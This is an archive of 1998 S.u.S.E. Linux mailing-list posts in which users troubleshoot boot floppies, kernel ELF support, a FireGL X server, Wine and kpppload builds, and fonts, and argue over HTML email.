> >> Also, is there a FireGL 1000 Bios newer than 1.21 (what I have). If you
> >> have an update that is newer please send it to me (jason(a)digitarx.com)=
. I
> >> have not been able to find any firmware updates on the Diamond web site.
> >>=20
> >> Regards,
> >> Jason
> >>=20
> >>=20
> >> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+
> >> |Jason J. W. Williams                          |
> >> +----------------------------------------------+
> >> |INET: lonewolfe(a)uswest.net                    |
> >> +--------------------------------------------+-+
> >> |"I have sworn before the altar of God,      |
> >> |Hostility towards every tyranny over the    |
> >> |mind of man."                               |
> >> | -Thomas Jefferson                          |
> >> +--------------------------------------------+
> >> |"In an age of disposability, when both      |
> >> |objects and people are discarded was soon as|
> >> |they cease to be of use, a fountain pen has |
> >> |the durability of old friendship."          |=20
> >> | -Richard Leigh (British Writer)            |=20
> >> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+=20
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> >-
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> >=20
> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+
> |Jason J. W. Williams                          |
> +----------------------------------------------+
> |INET: lonewolfe(a)uswest.net                    |
> +--------------------------------------------+-+
> |"I have sworn before the altar of God,      |
> |Hostility towards every tyranny over the    |
> |mind of man."                               |
> | -Thomas Jefferson                          |
> +--------------------------------------------+
> |"In an age of disposability, when both      |
> |objects and people are discarded was soon as|
> |they cease to be of use, a fountain pen has |
> |the durability of old friendship."          |=20
> | -Richard Leigh (British Writer)            |=20
> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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From pmoon@mindspring.com Tue Jun 30 13:14:20 1998
From: pmoon@mindspring.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: Boot Disk don't!
Date: Tue, 30 Jun 1998 09:14:20 -0400
Message-ID: <3598E4AB.18868BD8@mindspring.com>
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Hubert Mantel wrote:

> Hi,
>
> On Mon, 29 Jun 1998, pmoon wrote:
>
> >     I first want to say thanks for all the good information that comes
> > out in this list.  I replaced the linux source package (de-installed,
> > reinstalled) with the lx-suse source package and reconfigured /
> > recompiled my kernel to support an AWE 64 card.  Post this, I managed to
> > frag my boot floppy and since then, have not been able to create a boot
> > floppy that will get me into my root system successfully. I have been
> > getting in with the S.u.S.E. install disk and CD... I was always
> > successful in the past week with a boot floppy created by YAST / sys
> > admin / create boot disk ... However now with a disk created in the same
> > way, I get into the boot start load of my root file system on /dev/sdb1
> > and all hardware is recognized and config'd as normal, then right after
> > the nic is recognized I hang at:
> >
> > VFS mounted extfs2 ect. ect. ect.  (or something like this)
> >
> > And that is all she wrote!
>
> Looks to me as if you forgot to compile ELF executable support into the
> kernel. So it is unable to start the init process.
> Check your kernel configuration and make sure CONFIG_BINFMT_ELF is set to
> "Y".
>
> > I have to go back in with the install disk again.. I saw someone
> > mentioned removing LINEAR from the LILO.CONF file with regard to another
> > boot problem posted here. I will try that next when I leave here...
>
> That's a completely different problem. Your kernel gets loaded by LILO, so
> you do not have any problem with your /etc/lilo.conf
>
> > Any suggestions would be greatly appreciated..
> >
> > Perry Moon
> > Tampa, Florida
>
>     Hubert
>
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  Hubert,

    Thank you for the reply, I checked this right after I read you message
and you are right (sort of), I did have both a.out and elf set as modules.
This will not work though if needed at boot time, as the modules can not be
called until after the initial boot.. I will leave another message verifying
that this was it, if I can now boot from floppy.
    I did this in the first place because I needed to shave down the kernel
size for a successful compile, and didn't realize that elf was needed during
boot.

Thanks again & Kind Regards,
Perry Moon
Tampa Florida

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From geskec@newnorth.net Tue Jun 30 13:41:41 1998
From: geskec@newnorth.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Oracle 7.0 on Linux
Date: Tue, 30 Jun 1998 08:41:41 -0500
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I think you need to use the SCO Unix Oracle binaries, and then you also 
need to get a couple shared libraries from SCO Unix also in order to make 
it work.  But have heard a few people have gotten it to work.

-----Original Message-----
From:	Joseph  Beaman [SMTP:beamanj(a)novaquest.com]
Sent:	Tuesday, June 30, 1998 5:07 AM
To:	suse-linux-e(a)suse.com
Subject:	[S.u.S.E. Linux] Oracle 7.0 on Linux

Anyone know if you can take the Sun Unix Oracle 7 and run it on Linux 
(SUSE)?
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From hattons@CPKWEBSER5.ncr.disa.mil Tue Jun 30 13:47:45 1998
From: hattons@CPKWEBSER5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux and the Palm Pilot.
Date: Tue, 30 Jun 1998 09:47:45 -0400
Message-ID: <3598EC81.F93B2ABC@cpkwebser5.ncr.disa.mil>
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Glenn,

I have no words of advice on how to make this work, but that is a great
idea.  I hope you find some one who can help you.

Steve

misc.word.corp wrote:

> I'm thinking of breaking my piggy bank and dropping $158 on a Palm
> Pilot, now that prices have lowered for the original version.
>
> The precondition for the purchase, of course, is being able to use most
> of the Pilot's features without the agony of booting into W_n95
> (cringe).
>
> Does anybody use the Pilot with Linux and/or S.u.S.E. 5.2? If so, what
> applications are necessary to get started? Any config difficulties?
>
> I've also heard thru the rumor mill that the Pilot can run a version of
> Linux tailored for this device. Anybody have experience with this?
>
> Thanks! I really need to get myself organized with this product!
>
> -- Glenn --
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From djb@redhat.com Tue Jun 30 14:17:10 1998
From: djb@redhat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux and the Palm Pilot.
Date: Tue, 30 Jun 1998 10:17:10 -0400
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> My recommendations is if your into it do play with it. There is now alot
> of software availble in Linux for the Palm and Ryseron (part of UofT) is
> currently working on a port to Linux on the Palm. Its rough but it works
> but requires a memory upgrade. Start with
> Linux.org>projects>microcontroller  to get you going, then do an
> altvista search "Linux+Palmpilot" you will find a small gold mine.=20

Using Linux on the Pilot is a waste for folks who want a PDA.  If you
have a *need* for an ultra-tiny *Linux* box for some reason (and if you
had that reason you'd know it), then it's interesting.  Otherwise, PalmOS
is open enough that you can develop for it and it is VERY good as a PDA
OS.

> Yes the palm can be sinked to Linux. Kde even has a small program (not
> tested yet) Kpilot, there is a samll but fucntional developers kit, and
> an emulator xcopilot (bugger to set up though).=20

See http://developer.redhat.com>.  I have RPMs for RH of xcopilo=
t, pilot-link,
and the prc-tools (which is an entire development environment for the
Pilot...gcc, binutils, gdb, libc, libm, etc).  You should be able to grab
the SRPMs and just do a --rebuild on them under SuSE.

--Donnie


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From weissel@jupiter.ph-cip.uni-koeln.de Tue Jun 30 14:47:58 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 16:47:58 +0200
Message-ID: <19980630164758.C14147@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, nelsen(a)telusplanet.net produced:
[HTML in email(lists)]

> Or maybe Linux should get a contempory mail program.  Does not Netscape
> mail do
> current mail formats?  

So you say excel and word-x.x -Attachments and emails are
no problem either, do you? Cause they are 'contemporary', too.
Like Spam is. Like MS is. 

Heavens, you write to be understood[1], and if you talk in an
Inuit-dialect, don't be shocked if most of the rest of the
world won't understand a word of what you say. And don't come
and say that for you all of the world has to learn your tongue,
be it 'contemporary' or not.


As in 'contempory mail program' --- maybe get one that does not
make lines like
++++++++++++++++++++++++++++++++++++++++++
+++++++
+++++++++++++++++++++++++++++++++++++++++++
+++++
+++++++++++++++++++++++++++++++++++++++
++++++++
+++++++++++++++++++++++++++++++++++++++++
+++++++
+++++++++++.
cause that looks STUPID and is *hard* to the eyes and is
annoying to boot. Or is that 'contemporary' nowadays? And just
because it looks OK with your reader it *must* be OK with all
others? Look at my one-shot .sig to know what I think about
that!


[1] I hope, else you write to annoy; in that case BE GONE.

-Wolfgang


-- 
"Anyone who slaps a 'this page is best viewed with Browser X' label on a Web
page appears to be yearning for the bad old days, before the Web, when you 
had very little chance of reading a document written on another computer,
another word processor, or another network." -Tim Berners-Lee, July 1996 
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From lonewolfe@uswest.net Tue Jun 30 15:02:02 1998
From: lonewolfe@uswest.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Tue, 30 Jun 1998 09:02:02 -0600
Message-ID: <199806291503.IAA03683@Goldengate.suse.com>
In-Reply-To: <9806291239.AA20312@ibm29.adapco.com>
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OK,

I used xf86config, and it put a whole bunch of superfluous modes that I
told it my monitor did not support in there too. I'll try it. The first
time I run startx, it seems to find the card but it says it can't mmap the
framebuffer. The second time it says it can't find the card at all. Is this
similar to any problem you have had?

Regards,
Jason

At 08:39 AM 6/29/98 -0400, you wrote:
>
>I have the same card make sure that you have the most up todate bios on
the card.
>When I was setting it up I had to use xf86config rather than xf86setup.
Setup
>does that pci prob thing And I think config does not.  Somewhere in the
docs they
>tell you not to use xf86setup.
>
>Drew
>
>> 
>> 
>> I have a Diamond FireGL 1000, and I am trying to get it to work with the
>> Elsa Gloria X server. But the driver keeps saying that it cannot detect any
>> configured device. When I turn on the -verbose flag, it tells me that it
>> cannot probe the PCI bus. Can you help me figure out what is causing this
>> and how to remedy it.
>> +==============================================+
>> |Jason J. W. Williams                          |
>> +----------------------------------------------+
>> |INET: lonewolfe(a)uswest.net                    |
>> +--------------------------------------------+-+
>> |"I have sworn before the altar of God,      |
>> |Hostility towards every tyranny over the    |
>> |mind of man."                               |
>> | -Thomas Jefferson                          |
>> +--------------------------------------------+
>> |"In an age of disposability, when both      |
>> |objects and people are discarded was soon as|
>> |they cease to be of use, a fountain pen has |
>> |the durability of old friendship."          | 
>> | -Richard Leigh (British Writer)            | 
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+==============================================+
|Jason J. W. Williams                          |
+----------------------------------------------+
|INET: lonewolfe(a)uswest.net                    |
+--------------------------------------------+-+
|"I have sworn before the altar of God,      |
|Hostility towards every tyranny over the    |
|mind of man."                               |
| -Thomas Jefferson                          |
+--------------------------------------------+
|"In an age of disposability, when both      |
|objects and people are discarded was soon as|
|they cease to be of use, a fountain pen has |
|the durability of old friendship."          | 
| -Richard Leigh (British Writer)            | 
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From lonewolfe@uswest.net Tue Jun 30 15:02:57 1998
From: lonewolfe@uswest.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Tue, 30 Jun 1998 09:02:57 -0600
Message-ID: <199806291504.IAA03743@Goldengate.suse.com>
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Drew,

Second question should I use the IBM526 as the RAMDAC and IBM 51x/52x as
the clockchip setting? 

Regards,
Jason

At 08:39 AM 6/29/98 -0400, you wrote:
>
>I have the same card make sure that you have the most up todate bios on
the card.
>When I was setting it up I had to use xf86config rather than xf86setup.
Setup
>does that pci prob thing And I think config does not.  Somewhere in the
docs they
>tell you not to use xf86setup.
>
>Drew
>
>> 
>> 
>> I have a Diamond FireGL 1000, and I am trying to get it to work with the
>> Elsa Gloria X server. But the driver keeps saying that it cannot detect any
>> configured device. When I turn on the -verbose flag, it tells me that it
>> cannot probe the PCI bus. Can you help me figure out what is causing this
>> and how to remedy it.
>> +==============================================+
>> |Jason J. W. Williams                          |
>> +----------------------------------------------+
>> |INET: lonewolfe(a)uswest.net                    |
>> +--------------------------------------------+-+
>> |"I have sworn before the altar of God,      |
>> |Hostility towards every tyranny over the    |
>> |mind of man."                               |
>> | -Thomas Jefferson                          |
>> +--------------------------------------------+
>> |"In an age of disposability, when both      |
>> |objects and people are discarded was soon as|
>> |they cease to be of use, a fountain pen has |
>> |the durability of old friendship."          | 
>> | -Richard Leigh (British Writer)            | 
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+==============================================+
|Jason J. W. Williams                          |
+----------------------------------------------+
|INET: lonewolfe(a)uswest.net                    |
+--------------------------------------------+-+
|"I have sworn before the altar of God,      |
|Hostility towards every tyranny over the    |
|mind of man."                               |
| -Thomas Jefferson                          |
+--------------------------------------------+
|"In an age of disposability, when both      |
|objects and people are discarded was soon as|
|they cease to be of use, a fountain pen has |
|the durability of old friendship."          | 
| -Richard Leigh (British Writer)            | 
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From sodah@qatar.net.qa Tue Jun 30 15:15:51 1998
From: sodah@qatar.net.qa
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] kpppload
Date: Tue, 30 Jun 1998 18:15:51 +0300
Message-ID: <35990125.37D24B9F@qatar.net.qa>
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hi

if someone could help me with installing Kpppload,
when i tried to configure it, got the following msg's

lifebook:/usr/local/kpppload-1.03 # ./configure
loading cache ./config.cache
checking host system type... i586-pc-linux-gnu
checking target system type... i586-pc-linux-gnu
checking build system type... i586-pc-linux-gnu
checking for a BSD compatible install... /usr/bin/install -c
[....bla bla......
................bla...]
checking for socket in -lsocket... no
checking for X... configure: error: Can't find X. Please add the correct
paths.
View configure --help for usage!

Which file should i modify to give him the ability to find the X-libs

lifebook:/usr/local/kpppload-1.03 # ls
BUGS           acconfig.h     config.guess   configure.in   missing
LICENSE        acinclude.m4   config.h.in    install-sh
mkinstalldirs
Makefile.am    aclocal.m4     config.log     kpppload       po
Makefile.in    confdefs.h     config.sub     kpppload.lsm   stamp-h.in
README         config.cache   configure      makedoc

bye
-fadi

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From hatridge@straubing.baynet.de Tue Jun 30 15:32:55 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Wine Error?
Date: Tue, 30 Jun 1998 17:32:55 +0200
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Hi all;

I'm trying to get Wine running. I first did "./configure", no problems.
Then I did "make depend; make" and got these errors and it aborted. Any
ideas?

make[2]: Leaving directory `/usr/wine970215/tools'
yacc -d -t ./parser.y
make[1]: yacc: Command not found
make[1]: *** [y.tab.c] Error 127
make[1]: Leaving directory `/usr/wine970215/rc'
make: *** [depend] Error 1
make[1]: Entering directory `/usr/wine970215/rc'
yacc -d -t ./parser.y
make[1]: yacc: Command not found
make[1]: *** [y.tab.c] Error 127
make[1]: Leaving directory `/usr/wine970215/rc'
make: *** [rc] Error 2

THANKS

JIM
-----------------------------------------
Jim Hatridge
Germany 
hatridge(a)straubing.baynet.de

M$ -- Ghostdriver* on the road to the future!
(*German Slang for the guy driving on the wrong side of the road!)

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From arunkhan@xnet.com Tue Jun 30 16:00:00 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] System hangs on floppy boot
Date: Tue, 30 Jun 1998 11:00:00 -0500
Message-ID: <3.0.5.32.19980630110000.007bbc60@quake.xnet.com>
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At 11:37 PM 6/29/98 -0400, you wrote:
>Hi guys,
>
>    It's me again, I just wanted to clarify a bit.  I am having trouble
>making a boot floppy that will get me into my installed system. I had
>one that was working fine, but I screwed it up.  I am able to get into
>my install using the install floppy from SuSE.
>    With the disk I created in YAST System Administration, I am only
>able to get so far in boot.  The kernel loads from floppy I assume and
>all hardware seems to be identified and the boot continues to a cretin
>point, then just halts.
>
>VFS:  Mounted root  (ext2 filesystem).          <-----   System hangs
>here when booting from floppy..
>
>Any help appreciated..

If you have access to another machine (with Linux) then copy the
appropriate pre-build kernels (NOT the BOOT Images,  I don't recall where
the prebuilt kernels are on CD1) to a temp directory).  rdev 

 e.g. rdev zImage /dev/hda2.  This assumes you know the root device where
you installed Linux.  Then put a write enabled HD floppy into your drive
and "dd if= of=/dev/fd0"  This will give you a boot floppy
that will boot off of your "root-device"

HTH
Arun Khan
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From pmoon@mindspring.com Tue Jun 30 16:08:33 1998
From: pmoon@mindspring.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: Boot Disk don't!
Date: Tue, 30 Jun 1998 12:08:33 -0400
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pmoon wrote:

> Hubert Mantel wrote:
>
> > Hi,
> >
> > On Mon, 29 Jun 1998, pmoon wrote:
> >
> > >     I first want to say thanks for all the good information that comes
> > > out in this list.  I replaced the linux source package (de-installed,
> > > reinstalled) with the lx-suse source package and reconfigured /
> > > recompiled my kernel to support an AWE 64 card.  Post this, I managed to
> > > frag my boot floppy and since then, have not been able to create a boot
> > > floppy that will get me into my root system successfully. I have been
> > > getting in with the S.u.S.E. install disk and CD... I was always
> > > successful in the past week with a boot floppy created by YAST / sys
> > > admin / create boot disk ... However now with a disk created in the same
> > > way, I get into the boot start load of my root file system on /dev/sdb1
> > > and all hardware is recognized and config'd as normal, then right after
> > > the nic is recognized I hang at:
> > >
> > > VFS mounted extfs2 ect. ect. ect.  (or something like this)
> > >
> > > And that is all she wrote!
> >
> > Looks to me as if you forgot to compile ELF executable support into the
> > kernel. So it is unable to start the init process.
> > Check your kernel configuration and make sure CONFIG_BINFMT_ELF is set to
> > "Y".
> >
> > > I have to go back in with the install disk again.. I saw someone
> > > mentioned removing LINEAR from the LILO.CONF file with regard to another
> > > boot problem posted here. I will try that next when I leave here...
> >
> > That's a completely different problem. Your kernel gets loaded by LILO, so
> > you do not have any problem with your /etc/lilo.conf
> >
> > > Any suggestions would be greatly appreciated..
> > >
> > > Perry Moon
> > > Tampa, Florida
> >
> >     Hubert
> >
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>   Hubert,
>
>     Thank you for the reply, I checked this right after I read you message
> and you are right (sort of), I did have both a.out and elf set as modules.
> This will not work though if needed at boot time, as the modules can not be
> called until after the initial boot.. I will leave another message verifying
> that this was it, if I can now boot from floppy.
>     I did this in the first place because I needed to shave down the kernel
> size for a successful compile, and didn't realize that elf was needed during
> boot.
>
> Thanks again & Kind Regards,
> Perry Moon
> Tampa Florida
>
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That was it!

Thanks again,

Perry

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From pmoon@mindspring.com Tue Jun 30 16:24:53 1998
From: pmoon@mindspring.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Error message when KDE loads
Date: Tue, 30 Jun 1998 12:24:53 -0400
Message-ID: <35991155.8B441466@mindspring.com>
MIME-Version: 1.0
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Hello again,

    I wanted to ask if anyone has seen or has some sugestions to resolve
the following error.

    Could not find mime type application
    x-tbz  in
    opt/kde/share/applnk/utilities/kzip.kdelnk

This appears in a small dialog box on boot of X / KDE ..

It doesn't stop me from running after dismissing it with the ok button.
However I didn't have this before.

Also I can not run the program  "mail"  from the command line now. I am
sure it is because I removed an application but I do not know which one.

Thanks again,

Perry

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From hekate@intergate.bc.ca Tue Jun 30 16:48:12 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 09:48:12 -0700
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No it doesn't. Obviously. It includes it as an attachment which I can't
see and have to use a switch to see. Isn't it obvious that it doesn't or
would I have commented? I guess you think people complain about the tags
for the sound of their voices. Thanx for your help here as well, 'Nils'. =20
Think.

On Tue, 30 Jun 1998, Nils Jeppe wrote:

> Date: Tue, 30 Jun 1998 10:49:12 +0200
> From: Nils Jeppe 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] 6.0 release date
>=20
>=20
> I agree that html should not be used for email, but... What version are you
> using? Doesn't pine filter out html tags?
>=20
> (at least it beats using rtf)
>=20
>=20
> At 17:26 29.06.98 -0700, you wrote:
> >
> >Netscape is fine, if you're always in X. I'm not. I use Pine alot and it's
> >annoying when people send that html stuff. That's just me. I don't
> >suggest that people should not send such stuff. I just know I have been
> >deleting it.
>=20
>=20
> ----------------------------------------------------------------------
>=20
> http://privat.schlund.de/bartmoss/>             =
       ICQ UIN: 3322540 =1A
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From arunkhan@xnet.com Tue Jun 30 16:57:28 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject:
 [S.u.S.E. Linux] Please use appropriate subject lines in your postings
Date: Tue, 30 Jun 1998 11:57:28 -0500
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One humble request. Besides posting in ASCII (already discussed by others)
please use appropriate subject lines so as to help others sort out threads.
 Lately, I have noticed that some of the message contents and the subject
line have little in common.   Probably, because somewhere down the line the
topic of the discussion was changed.  If such is the case then please post
it with a new subject line.

Thanks for your time.

Best Regards,
Arun Khan

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From mantel@suse.de Tue Jun 30 17:15:13 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Wine Error?
Date: Tue, 30 Jun 1998 19:15:13 +0200
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Hi,

On Tue, 30 Jun 1998, Jim Hatridge wrote:

> I'm trying to get Wine running. I first did "./configure", no problems.
> Then I did "make depend; make" and got these errors and it aborted. Any
> ideas?
> 
> make[2]: Leaving directory `/usr/wine970215/tools'
> yacc -d -t ./parser.y
> make[1]: yacc: Command not found

You have not installed yacc. It's in serie "D" (development).

> Jim Hatridge

    Hubert

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From mantel@suse.de Tue Jun 30 17:16:14 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: kpppload
Date: Tue, 30 Jun 1998 19:16:14 +0200
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Hi,

On Tue, 30 Jun 1998, Fadi Sodah wrote:

> lifebook:/usr/local/kpppload-1.03 # ./configure
> loading cache ./config.cache
> checking host system type... i586-pc-linux-gnu
> checking target system type... i586-pc-linux-gnu
> checking build system type... i586-pc-linux-gnu
> checking for a BSD compatible install... /usr/bin/install -c
> [....bla bla......
> ................bla...]
> checking for socket in -lsocket... no
> checking for X... configure: error: Can't find X. Please add the correct

Install package xdevel

> bye
> -fadi

    Hubert

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From chilini@inlink.com Tue Jun 30 17:30:23 1998
From: chilini@inlink.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE Kernel
Date: Tue, 30 Jun 1998 12:30:23 -0500
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Hi, it's me again. I am used to Slackware which was a good distirbution
but i decided to try something different so I chose SuSE. Now in Slackware
there was a kernel package that you had to compile the things you wanted..
how does the kernel in SuSE work? is it al modules? or is there a pckage
that i need to d/l? please clue me in .. i am a .. well not a newbie but a
novice .. so pleae help me.. thanx.. 

                Chilini
        (David Kettmann)

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From satan3@home.com Tue Jun 30 17:51:28 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE Kernel
Date: Tue, 30 Jun 1998 12:51:28 -0500
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The kernel sources are located in /usr/src/linux, where linux is a
symlink pointing to the actual directory in /usr/src that the kernel
sources you want to use are in. The current SuSE 2.0.33 kernel sources
are package lx_suse, and install to /usr/source/linux-2.0.33.SuSE.
If those are the sources you are using, just make sure that
/usr/src/linux points to /usr/source/linux-2.0.33.SuSE and compile away.

Chilini wrote:
>=20
> Hi, it's me again. I am used to Slackware which was a good distirbution
> but i decided to try something different so I chose SuSE. Now in Slackware
> there was a kernel package that you had to compile the things you wanted..
> how does the kernel in SuSE work? is it al modules? or is there a pckage
> that i need to d/l? please clue me in .. i am a .. well not a newbie but a
> novice .. so pleae help me.. thanx..
>=20
>                 Chilini
>         (David Kettmann)


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                          Michael Lankton
                  http://tasteslikechicken.ml.org>=20
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From hatridge@straubing.baynet.de Tue Jun 30 17:54:23 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 19:54:23 +0200
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On Mon, 29 Jun 1998, happycamper wrote:

> 
> Netscape is fine, if you're always in X. I'm not. I use Pine alot and it's
> annoying when people send that html stuff. That's just me. I don't
> suggest that people should not send such stuff. I just know I have been
> deleting it.

Hi all,

I agree with you. I use pine because it's faster and takes up less HD. The
html stuff is a pain in the wrong end.

JIM

-----------------------------------------
Jim Hatridge
Germany 
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(*German Slang for the guy driving on the wrong side of the road!)

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From hatridge@straubing.baynet.de Tue Jun 30 17:58:11 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 19:58:11 +0200
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On Tue, 30 Jun 1998, Bouke van der Voet wrote:
> 
> X-Sender: nelsen(a)mail.telusplanet.net
> X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1

> Bouke

Hi Bouke,

Is a version of Eudora for Linux yet?

Thanks

JIM
-----------------------------------------
Jim Hatridge
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From gecko@benham.net Tue Jun 30 18:15:13 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Tue, 30 Jun 1998 11:15:13 -0700
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On 28-Jun-98 Wolfgang Weisselberg wrote:
> Well, while I belive I am somewhat versed in Unix when I first
> installed Linux I tend to belive the most important bit is to
> read the manual, reread as neccessary and to take your time.
> Explore the menues. Read the help on every bit. At least the
> first time around.=20
[snip]
> User-friendly for me is the possibility to check and choose (or
> choose not) every package there is. Even more user-friendly
> would be if YaST would say what exactly it does (switch via
> commandline), e.g. "copying /usr/lib/zoneinfo/Europe/Berlin to
> /usr/lib/zoneinfo/localtime" so I could easily learn to get rid
> of these crutches --- they are great to learn walking, but I=20
> often want not to *have* to use them,

The majority of the consumers won't agree.  They want "Plug-n-Play" in
EVERYTHING, software and hardware.  They're afriad of the computer and don't
wan't (or don't want to take the time) to explore. =20

> Oh, go and make it as opaque and 'intelligent' and 'all the
> user has to know is how to operate the power-on switch and the
> coffe-cup holder' ... as long as one can switch it off with
> ease. IMHO.

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From gecko@benham.net Tue Jun 30 18:19:47 1998
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To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 11:19:47 -0700
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On 30-Jun-98 David Nelsen wrote:
> Or maybe Linux should get a contempory mail program.  Does not Netscape
> mail do
> current mail formats? =20


I chose not to read HTML-MAIL.  I *like* the mail program I use (xfmail) that
came with SuSE (well, I d/led an update of it) but it does not decode HTML ta=
gs
embedded into Email Message.  I *hate* netscape mail.


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From lonewolfe@uswest.net Tue Jun 30 18:28:05 1998
From: lonewolfe@uswest.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Tue, 30 Jun 1998 12:28:05 -0600
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What about the clockchip setting? Also I have an NEC 4FG.

-Jason 
At 12:46 PM 6/29/98 -0400, you wrote:
>
>I didn't set a ramdac and didn't let it probe for one.  If you do this I
think
>it will fix your problems when starting X.  What monitor do you have?
xf86config
>set up a bunch of extra modes but I just deleted the ones I didn't want.  I
>think I'm running at 1024x768 true color.
>

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From arunkhan@xnet.com Tue Jun 30 18:31:38 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] X servers and Fonts
Date: Tue, 30 Jun 1998 13:31:38 -0500
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Comparing Netscape 4.05 display in Win95/NT and SuSE Linux 5.x I notice
that Font sizes appear to be smaller (e.g. The main page of
www.pricewatch.com is hardly legible under X) even though I change the
settings to 14.0 or 16.0 under Fonts in preferences.  I am using 1280x1024
(16bpp) for both Win95 and X and the latest X servers for the Diamond Viper
330 and S3 Virge.  The results are similar.

Is there any way to set Fonts for the general X environment and also are
there any more fonts to go with X besides those installed by SuSE?  Any
help with this is appreciated.

TIA
Arun Khan 
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From gecko@benham.net Tue Jun 30 18:34:29 1998
From: gecko@benham.net
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Subject: RE: [S.u.S.E. Linux] SuSE Kernel
Date: Tue, 30 Jun 1998 11:34:29 -0700
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SuSE provides a list of kernels during install that has support for
certain cards/configurations.  You'd chose the one that suited you best.=20
Want something that SuSE doesn't have in the list, you'd have to chose the
closest one, make sure you install the lx_suse package along with gcc,
make and the other development packages and then proceed to compile your
own kernel. =20

> Hi, it's me again. I am used to Slackware which was a good distirbution
> but i decided to try something different so I chose SuSE. Now in Slackware
> there was a kernel package that you had to compile the things you wanted..
> how does the kernel in SuSE work? is it al modules? or is there a pckage
> that i need to d/l? please clue me in .. i am a .. well not a newbie but a
> novice .. so pleae help me.. thanx..=20

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From satan3@home.com Tue Jun 30 18:40:22 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] X servers and Fonts
Date: Tue, 30 Jun 1998 13:40:22 -0500
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I only notice this as a problem in Netscape.  I use helvetica (12) for
my variable width font and clean schumacher (16) for my fixed width and
it displays more comfortably.  =20

Arun K. Khan wrote:

> Is there any way to set Fonts for the general X environment and also are
> there any more fonts to go with X besides those installed by SuSE?  Any
> help with this is appreciated.


--=20
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                          Michael Lankton
                  http://tasteslikechicken.ml.org>=20
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From tanc@cuug.ab.ca Tue Jun 30 18:44:11 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Wine Error?
Date: Tue, 30 Jun 1998 12:44:11 -0600
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Install yacc.  It can be found among the development tools, compilers,
etc. =20

Regards,
C. J. Tan

On Tue, 30 Jun 1998, Jim Hatridge wrote:

>=20
>=20
> Hi all;
>=20
> I'm trying to get Wine running. I first did "./configure", no problems.
> Then I did "make depend; make" and got these errors and it aborted. Any
> ideas?
>=20
> make[2]: Leaving directory `/usr/wine970215/tools'
> yacc -d -t ./parser.y
> make[1]: yacc: Command not found
> make[1]: *** [y.tab.c] Error 127
> make[1]: Leaving directory `/usr/wine970215/rc'
> make: *** [depend] Error 1
> make[1]: Entering directory `/usr/wine970215/rc'
> yacc -d -t ./parser.y
> make[1]: yacc: Command not found
> make[1]: *** [y.tab.c] Error 127
> make[1]: Leaving directory `/usr/wine970215/rc'
> make: *** [rc] Error 2
>=20
> THANKS
>=20
>=20
> JIM
> -----------------------------------------
> Jim Hatridge
> Germany=20
> hatridge(a)straubing.baynet.de
>=20
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> (*German Slang for the guy driving on the wrong side of the road!)
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From brauki@cityweb.de Tue Jun 30 18:58:03 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Just asking....
Date: Tue, 30 Jun 1998 20:58:03 +0200
